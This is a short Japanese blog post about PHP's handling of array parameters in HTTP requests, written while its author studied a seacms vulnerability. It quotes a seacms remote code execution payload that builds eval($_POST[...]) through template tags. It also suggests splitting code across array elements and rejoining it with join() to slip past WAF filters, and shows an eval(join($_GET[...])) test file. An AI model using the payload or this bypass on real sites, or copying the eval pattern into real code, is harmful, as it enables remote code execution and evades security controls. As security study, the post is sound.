ホームページ  >  記事  >  バックエンド開発  >  PHP が http リクエストを通じて配列を送信する方法の共有例

PHP が http リクエストを通じて配列を送信する方法の共有例

黄舟
黄舟オリジナル
2017-10-24 09:26:182300ブラウズ

私は最近 PHP 監査を学習し始めましたが、ちょうど seacms を勉強するタイミングで、ペイロードに奇妙な点を発見しました

searchtype=5&searchword={
if{searchpage:year}&year=:e{searchpage:area}
}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

試してみたところ、データを受信するときに次のようになっていることがわかりました。

キー名 = a、その後。 pass a[ ]=a&a[]=b、aは配列なのでテストしてみました

サーバーサイドのテストコード

<?php
	print_r($_GET[1]);
?>

テスト結果は以下の通りです

PHP が http リクエストを通じて配列を送信する方法の共有例

PHP が http リクエストを通じて配列を送信する方法の共有例

それで、この毛織物の用途は何でしょうか?よく考えてみると、サーバー上にセキュリティドッグやwafなどの保護ツールがあれば、join関数など他のPHPの機能を組み合わせることでバイパス効果が得られるかもしれません

簡単なアイデアを提供します

サーバーテストコード

<?php
	eval(join($_GET[123]));
?>

テスト結果は以下の通りです

PHP が http リクエストを通じて配列を送信する方法の共有例

以上がPHP が http リクエストを通じて配列を送信する方法の共有例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。